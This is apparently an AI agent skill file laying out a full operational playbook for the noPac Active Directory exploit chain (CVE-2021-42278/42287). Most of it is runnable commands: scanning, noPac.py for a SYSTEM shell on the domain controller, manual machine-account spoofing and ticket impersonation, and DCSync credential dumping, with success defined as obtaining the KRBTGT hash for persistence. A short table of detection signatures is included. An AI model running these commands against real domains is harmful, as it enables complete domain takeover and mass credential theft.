Agent skill

exploiting-nopac-cve-2021-42278-42287

Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.

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SKILL.md

Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)

Overview

noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.

Objectives

  • Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
  • Create or leverage a machine account with modified sAMAccountName
  • Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
  • Use the DC ticket to perform DCSync and dump domain credentials
  • Achieve Domain Admin access from a standard domain user account
  • Document the complete exploitation chain with evidence

MITRE ATT&CK Mapping

  • T1068 - Exploitation for Privilege Escalation
  • T1136.002 - Create Account: Domain Account
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1558 - Steal or Forge Kerberos Tickets
  • T1003.006 - OS Credential Dumping: DCSync

Implementation Steps

Phase 1: Vulnerability Scanning

  1. Check if the domain is vulnerable using the noPac scanner:
    bash
    # Using cube0x0's noPac scanner
    python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
    # Using CrackMapExec module
    crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
    
  2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):
    bash
    # Check MachineAccountQuota via LDAP
    python3 -c "
    import ldap3
    server = ldap3.Server('10.10.10.1')
    conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
    conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
    print(conn.entries[0]['ms-DS-MachineAccountQuota'])
    "
    

Phase 2: Exploitation with noPac Tool

  1. Run the full noPac exploit chain:
    bash
    # Using cube0x0's noPac (gets a shell on the DC)
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      -dc-host DC01 -shell --impersonate administrator -use-ldap
    
    # Using Ridter's noPac (alternative implementation)
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      --impersonate administrator -dump
    
  2. The exploit automatically:
    • Creates a new machine account (or uses an existing one)
    • Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
    • Requests a TGT for the spoofed account name
    • Restores the original sAMAccountName
    • Uses S4U2self to obtain a service ticket impersonating the target user
    • The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)

Phase 3: Post-Exploitation

  1. With the obtained Domain Controller ticket, perform DCSync:
    bash
    # DCSync using secretsdump.py with the Kerberos ticket
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
    
    # Or directly through the noPac shell
    # The shell runs as SYSTEM on the DC
    
  2. Alternatively, obtain a semi-interactive shell:
    bash
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      -dc-host DC01 -shell --impersonate administrator -use-ldap
    

Phase 4: Manual Exploitation Steps

  1. Create a machine account:
    bash
    addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
    
  2. Clear the SPN and rename sAMAccountName:
    bash
    # Rename machine account sAMAccountName to DC name (without $)
    renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
    
  3. Request a TGT for the spoofed name:
    bash
    getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
    
  4. Restore the original machine name:
    bash
    renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
    
  5. Use S4U2self for impersonation:
    bash
    export KRB5CCNAME=DC01.ccache
    getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
      -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
    

Tools and Resources

Tool Purpose Platform
noPac (cube0x0) Automated scanner and exploiter Python
noPac (Ridter) Alternative exploit implementation Python
Impacket Kerberos ticket manipulation, DCSync Python
CrackMapExec Vulnerability scanning module Python
Rubeus Windows Kerberos ticket operations Windows (.NET)
secretsdump.py Post-exploitation credential dumping Python

CVE Details

CVE Description CVSS Patch
CVE-2021-42278 sAMAccountName spoofing (machine accounts) 7.5 KB5008102
CVE-2021-42287 KDC PAC confusion / privilege escalation 7.5 KB5008380

Detection Signatures

Indicator Detection Method
Machine account sAMAccountName change Event 4742 (computer account changed) with sAMAccountName modification
New machine account creation Event 4741 (computer object created)
TGT request for account without trailing $ Kerberos audit log analysis
S4U2self requests from non-DC machine accounts Event 4769 with unusual service ticket requests
Rapid sequence: create account, rename, request TGT SIEM correlation rule for noPac attack pattern

Validation Criteria

  • Domain scanned for noPac vulnerability
  • MachineAccountQuota verified (default 10)
  • Exploit executed successfully (shell or DCSync)
  • Domain Admin privileges obtained from standard user
  • DCSync performed to dump domain credentials
  • KRBTGT hash obtained for persistence validation
  • Attack chain documented with timestamps
  • Patch status verified (KB5008380, KB5008602)

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